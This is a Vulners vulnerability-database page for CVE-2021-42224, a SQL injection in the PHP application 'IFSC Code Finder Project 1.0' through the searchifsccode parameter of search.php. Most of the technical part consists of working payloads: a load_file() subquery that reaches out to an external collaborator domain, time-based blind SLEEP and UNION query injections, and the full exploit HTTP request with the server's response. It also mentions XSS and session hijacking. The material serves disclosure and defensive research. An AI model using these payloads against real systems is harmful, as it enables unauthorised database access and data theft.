Vulners
Lucene search
IFSC Code Finder Project 1.0 SQL Injection Vulnerability
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-2021-42224 | 13 Oct 202122:26 | – | circl |
 | Ifsc Code Finder Project SQL注入漏洞 | 13 Oct 202100:00 | – | cnnvd |
 | CVE-2021-42224 | 13 Oct 202117:47 | – | cve |
 | CVE-2021-42224 | 13 Oct 202117:47 | – | cvelist |
 | EUVD-2021-29204 | 3 Oct 202520:07 | – | euvd |
 | CVE-2021-42224 | 13 Oct 202118:15 | – | nvd |
 | CVE-2021-42224 | 13 Oct 202118:15 | – | osv |
 | IFSC Code Finder Project 1.0 SQL Injection | 14 Oct 202100:00 | – | packetstorm |
 | Sql injection | 13 Oct 202118:15 | – | prion |
 | PT-2021-23562 · Unknown · Ifsc Code Finder Project | 13 Oct 202100:00 | – | ptsecurity |
10
## IFSC Code Finder Project 1.0 SQL Injection Vulnerability
## [CVE-2021-42224](https://phpgurukul.com/ifsc-code-finder-project-using-php/)
## [Vendor](https://phpgurukul.com/author/admin/)
## Description:
- vulnerability: `all or nothing`
SQL Injection vulnerability exists in IFSC Code Finder Project 1.0 via
the searchifsccode POST parameter in /search.php.
The searchifsccode parameter appears to be vulnerable to SQL injection
attacks. The test payload '+(select
load_file('\\\\bp4frncin7wvtb1vnxr1n6ngh7n0bzzq2eu1kp9.nu11secur1tycollaborator.net\\ing'))+'
was submitted in the searchifsccode parameter. This payload injects a
SQL sub-query that calls MySQL's load_file function with a UNC file
path that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed. Also the parameter "searchifsccode" from search.php is
XSS-Dom vulnerable plus PHPSESSID hijacking.
## SQL injection Types
```mysql
---
Parameter: searchifsccode (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: searchifsccode=849487'+(select
load_file('\\\\bp4frncin7wvtb1vnxr1n6ngh7n0bzzq2eu1kp9.nu11secur1tycollaborator.net\\ing'))+'')
AND (SELECT 1445 FROM (SELECT(SLEEP(5)))EBDq) AND
('ubep'='ubep&search=%C2%9E%C3%A9e
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: searchifsccode=849487'+(select
load_file('\\\\bp4frncin7wvtb1vnxr1n6ngh7n0bzzq2eu1kp9.nu11secur1tycollaborator.net\\ing'))+'')
UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176766b71,0x624a5562647364654b616a684c6d546a427263576377794168415561525872414e53664d6a6e6444,0x7171786271),NULL--
-&search=%C2%9E%C3%A9e
---
```
## Mysql Request:
```mysql
POST /IFSC%20Code%20Finder%20Project%20Using%20PHP/ifscfinder/search.php
HTTP/1.1
Host: 192.168.1.180
Origin: http://192.168.1.180
Cookie: PHPSESSID=jmir9unlgf2inpr758uva4ruhb
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.180/IFSC%20Code%20Finder%20Project%20Using%20PHP/ifscfinder/
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61
Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 42
searchifsccode=849487'%2b(select%20load_file('%5c%5c%5c%5cbp4frncin7wvtb1vnxr1n6ngh7n0bzzq2eu1kp9.nu11secur1tycollaborator.net%5c%5cing'))%2b'&search=%C2%9E%C3%A9e
```
## MySQL Response:
```mysql
HTTP/1.1 200 OK
Date: Thu, 14 Oct 2021 07:02:37 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24
X-Powered-By: PHP/7.4.24
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 7797
Connection: close
Content-Type: text/html; charset=UTF-8
<!doctype html>
<html class="no-js" lang="en">
<head>
<!--====== Title ======-->
<title>IFSC Code Finder Portal | Home</title>
<!--====== Slick CSS ======-->
<link
...[SNIP]...
```
## Proof:
[href](https://streamable.com/kqadhc)
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/CVE-2021-42224)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Oct 2021 00:00Current
0.5Low risk
Vulners AI Score0.5
CVSS 27.5
CVSS 3.19.8
EPSS0.00283